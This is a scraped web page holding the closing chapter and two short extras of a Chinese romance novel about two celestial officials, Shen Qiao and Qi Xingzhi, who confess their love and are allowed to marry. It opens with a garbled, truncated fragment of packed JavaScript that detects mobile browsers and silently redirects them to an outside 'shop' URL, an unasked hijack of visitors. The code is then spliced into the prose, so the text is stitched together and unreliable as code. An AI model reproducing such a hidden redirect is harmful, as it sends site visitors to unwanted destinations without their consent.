0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136845|147758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本了!” 沈桥松了口气,如同被绳索绑住了多日终于解开了,心中落下了一块大石,同时,又有一点点失落。 武曲星官,齐行之……这名字比齐彬好听。 沈桥回到自己的府邸,反反复复想起穿过了那三个话本,忽然想再看一遍,可是他不好意思问武曲星官要,不知道怎么,他有种……害怕见到齐行之的感觉。 最终,沈桥决定下一趟凡间,齐彬的住处一定有那三本话本的蛛丝马迹。 结果,他下凡发现,天上一天,地上一年,他在天上待了这些时日,凡间已经过了好些年,当年齐彬写的话本早就没了。 连看也看不着了。 沈桥失落地回了天上。 他又待了几天,心里开始焦躁。 这人说登门道歉,怎么还不来? 他想让属下去打听一下武曲星官在干什么,但是他的几个属下每天忙得底朝天,想想还是算了。 沈桥纠结再纠结,终于决定去武曲星官府邸看看,他要说道说道这人,怎么说话不算数呢! 结果守门的天兵说武曲星官出征北海了。 出征北海?那可是三界最凶神恶煞的禁区啊! 沈桥心里一紧,武曲星官能平安回来吗?会吧?会吧?会吧? 沈桥心里毛毛的,总想去北海看看。 可是他是不敢去北海的,北海太凶险了,猛兽很多,他这种文官,去了无疑是送死。 齐行之什么时候能回来? 沈桥不知道。 他还能不能再见到齐行之? 沈桥不知道。 日复一日,沈桥在财神殿里长蘑菇。 神仙岁月漫长,天界岁月静好,他每天守着这份岁月静好,心里却一点也不静好。 有人在前线,他却在这里享福,他一点也不心安理得。 可是他去了也帮不上什么忙。 神仙岁月漫长,任何人任何事都会随着时间慢慢淡忘的。 沈桥这样安慰自己。 他很想齐行之。 时间越久,他想得越清楚。 原来在这几场穿书过程中,他早已对这写书之人动了心。 可是,这写书之人,什么时候回来? 天界历二百年后,武曲星官齐行之凯旋归来。 武曲星官归来那日,数道彩霞迎接,天宫奏仙乐,所有仙官前来庆贺,红衣星官左挤右挤,始终挤不到前面。 那武曲星官穿越了层层仙官人海,坚硬的铠甲唯独抱住了那袭红衣,带着血腥味和北海的风,男人的声音微微沙哑:“沈桥,我回来了。” 沈桥望着面前威武的男人,眼泪不争气地流了下来:“我等了你好久,二百年,我活了三千年也没觉得二百年这么长……” 他说着,深吸一口气,认真地看着眼前的男人说:“齐行之,我要跟你说,我喜欢你,不管你喜不喜欢我,我等了你二百年,不说出来我要憋死了!”他更大声地说:“齐行之,我喜欢你,你喜不喜欢我?” 管什么他人的目光,管什么这么多人看着,二百年,他可是等了二百年啊!好不容易等来的,再不说,再不说他要憋屈死了! 面前忽然响起男人爽朗的笑声,沈桥忍不住给了齐行之一拳:“你笑什么?!不喜欢也别笑啊!你知不知道你这样很没有礼貌?!” 齐行之看着沈桥,声如洪钟,穿透了整个天界:“沈桥,我喜欢你!我喜欢你!我喜欢你!!!” 沈桥的脸刷得一下红了,忍不住看了四周,大家都在看他们,又给了齐行之一拳:“你这么大声干什么,太丢人了!” 不得不说,他很开心,但是,有点社死,天帝会怎么看他们?放眼整个天界,也没有两个男仙光明正大在一起的先例,天帝不会一生气把他们俩双双贬下凡吧? 这样想着,沈桥心里有点突突。 齐行之拉着沈桥,径直走到天帝面前,跪下郑重地道:“天帝陛下,小仙战胜归来,不要封赏,但小仙心悦财神星官沈桥,求天帝开恩,允许我们在一起。” 天帝看了他们片刻,说:“爱卿立下如此战功,这心愿乃成人之美,朕准了!” 沈桥心下大喜,看向齐行之,相视一笑。 天界数万仙官为他们降下七彩祥光,武曲星官战胜之日,亦是他与沈桥大婚之日。 天界数万年未有如此盛事,这场盛事载入天界史,划下了浓墨重彩的一笔。 ——全文完 小番外之齐行之手书: 沈桥,从你飞升之日起,我就心仪你了。 两千年,看着你飞升,晋升,躺平。 我是个闷葫芦,默默喜欢了你两千年,也不敢对你说,老友时明星君看我可怜,为我出了个主意,让我下凡历劫,让你参加穿书,促成我们的姻缘。 于是我决定赌一赌,下凡历劫成功后,我不满足于在书里得到你,我想真实地拥抱你。 天界没有两个男仙在一起的先例,我便主动请战北海,立下战功,希求能换取一个和你在一起的机会。 我担心过,你不会对我动心,可是不做,就连希望也没有了。 于是我抱着你会对我动心的那么一点希望,参加了这场豪赌。 万幸,你眷顾了我,真的对我动了心。 我真的很开心,沈桥,我爱你,从此后,千千万万,我都会一直爱你,愿我们一直幸福下去。 微型番外之沈桥: 沈桥一直不喜欢齐行之的大胡子,某天,他终于把老齐的胡子剃了,成功把齐行之改造成一个干净威武的大帅哥,沈桥表示很满意,这下晚上抱着睡觉终于不扎脸了,幸福! ——番外完